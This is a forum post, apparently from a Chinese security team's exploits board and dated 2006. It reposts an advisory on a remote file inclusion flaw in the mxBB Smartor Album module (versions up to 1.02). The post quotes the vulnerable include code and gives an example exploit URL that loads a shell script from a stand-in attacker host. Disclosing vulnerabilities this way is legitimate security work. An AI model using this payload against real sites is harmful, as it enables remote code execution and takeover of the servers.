mxBB mx Smartor Album Module <= 1.02 File Include Vulnerability

pub!1c

魔

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 3926
精华: 128
积分: 209876
阅读权限: 200
性别: 男
在线时间: 1119 小时
注册时间: 2007-10-23
最后登录: 2009-1-4

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2006-11-6 12:16 只看该作者

mxBB mx Smartor Album Module <= 1.02 File Include Vulnerability

复制内容到剪贴板

代码:

MX Smartor Album Module Remote File Include

Discovered by Paul Bakoyiannis {winsec}

 

-------------------------------------------------

 

Vulnerable Code:

   if ( $mode == &#39;album_cat&#39; )

    {

     include($module_root_path. &#39;includes/album_cat.&#39;.$phpEx);

    }

   (the rest of the vulnerable code removed for brevity)

 

Vulnerability: $module_root_path is uninitialized

 

Source Code:[url]http://www.mx-system.com/index.php?page=4&action=file&file_id=19[/url]

 

Example Exploit: http://[site].com/modules/mx_smartor/album.php?smartor_mode=album_cat&module_root_path=http://evil.com/shell.txt?

 

--------------------------------------------------

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » mxBB mx Smartor Album Module <= 1.02 File Include Vulnerability

mxBB mx Smartor Album Module &lt;= 1.02 File Include Vulnerability

mxBB mx Smartor Album Module &lt;= 1.02 File Include Vulnerability

代码:

mxBB mx Smartor Album Module <= 1.02 File Include Vulnerability

mxBB mx Smartor Album Module <= 1.02 File Include Vulnerability